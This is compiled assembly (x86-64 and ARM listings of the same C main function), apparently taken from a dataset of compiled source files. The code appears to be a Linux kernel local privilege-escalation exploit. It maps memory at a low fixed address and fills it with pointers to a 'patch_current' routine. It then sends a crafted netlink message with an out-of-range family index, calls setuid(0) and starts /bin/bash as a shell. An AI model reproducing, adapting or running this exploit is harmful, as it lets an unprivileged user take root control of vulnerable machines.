	.file	"extr_24555.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"-sh"
.LC1:
	.string	"/bin/bash"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r12
	.cfi_def_cfa_offset 16
	.cfi_offset 12, -16
	xor	eax, eax
	push	rbp
	.cfi_def_cfa_offset 24
	.cfi_offset 6, -24
	push	rbx
	.cfi_def_cfa_offset 32
	.cfi_offset 3, -32
	call	getuid@PLT
	mov	rbp, rax
	xor	eax, eax
	call	getgid@PLT
	mov	edx, 4
	mov	esi, 3
	mov	edi, 16
	mov	rbx, rax
	call	socket@PLT
	xor	r9d, r9d
	xor	r8d, r8d
	mov	ecx, 50
	mov	edx, 3
	mov	esi, 1048576
	mov	edi, 4096
	mov	r12d, eax
	call	mmap@PLT
	xor	edi, edi
	cmp	eax, -1
	setne	dil
	call	assert@PLT
	mov	rdx, rbp
	mov	rsi, rbp
	mov	rdi, rbp
	call	setresuid@PLT
	mov	rdx, rbx
	mov	rsi, rbx
	mov	rdi, rbx
	call	setresgid@PLT
	sal	rbx, 32
	mov	edx, 1024
	lea	rsi, patch_current[rip]
	or	rbx, rbp
	mov	edi, 4096
	mov	QWORD PTR ugid[rip], rbx
	call	memcpy@PLT
	mov	eax, 4096
	lea	rdx, patch_current[rip]
	.p2align 4,,10
	.p2align 3
.L2:
	mov	QWORD PTR [rax], rdx
	add	rax, 8
	cmp	rax, 1052672
	jne	.L2
	mov	edx, 40
	lea	rsi, n.1962[rip]
	mov	edi, r12d
	xor	ecx, ecx
	call	send@PLT
	xor	edi, edi
	call	setuid@PLT
	pop	rbx
	.cfi_def_cfa_offset 24
	xor	edx, edx
	pop	rbp
	.cfi_def_cfa_offset 16
	lea	rsi, .LC0[rip]
	lea	rdi, .LC1[rip]
	pop	r12
	.cfi_def_cfa_offset 8
	jmp	execl@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.data
	.align 32
	.type	n.1962, @object
	.size	n.1962, 40
n.1962:
	.long	40
	.long	65556
	.long	0
	.long	0
	.long	45
	.long	-1
	.zero	16
	.comm	ugid,8,8
	.comm	patch_current,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_24555.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"-sh\000"
	.align	2
.LC1:
	.ascii	"/bin/bash\000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, lr}
	sub	sp, sp, #8
	bl	getuid
	mov	r4, r0
	bl	getgid
	mov	r2, #4
	mov	r6, r0
	mov	r1, #3
	mov	r0, #16
	bl	socket
	mov	r2, #0
	mov	r3, #50
	mov	r1, #1048576
	str	r2, [sp, #4]
	str	r2, [sp]
	mov	r5, r0
	mov	r2, #3
	mov	r0, #4096
	bl	mmap
	adds	r0, r0, #1
	movne	r0, #1
	bl	assert
	mov	r2, r4
	mov	r1, r4
	mov	r0, r4
	bl	setresuid
	mov	r2, r6
	mov	r1, r6
	mov	r0, r6
	bl	setresgid
	ldr	r3, .L6
	mov	r2, #1024
	mov	r0, #4096
	ldr	r1, .L6+4
	str	r4, [r3]
	bl	memcpy
	mov	r3, #4096
	ldr	r2, .L6+4
.L2:
	str	r2, [r3], #4
	cmp	r3, #528384
	bne	.L2
	mov	r3, #0
	mov	r2, #40
	ldr	r1, .L6+8
	mov	r0, r5
	bl	send
	mov	r0, #0
	bl	setuid
	mov	r2, #0
	ldr	r1, .L6+12
	ldr	r0, .L6+16
	add	sp, sp, #8
	@ sp needed
	pop	{r4, r5, r6, lr}
	b	execl
.L7:
	.align	2
.L6:
	.word	ugid
	.word	patch_current
	.word	.LANCHOR0
	.word	.LC0
	.word	.LC1
	.size	main, .-main
	.comm	ugid,4,4
	.comm	patch_current,4,4
	.data
	.align	2
	.set	.LANCHOR0,. + 0
	.type	n.4246, %object
	.size	n.4246, 40
n.4246:
	.word	40
	.word	65556
	.word	0
	.word	0
	.word	45
	.word	-1
	.space	16
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
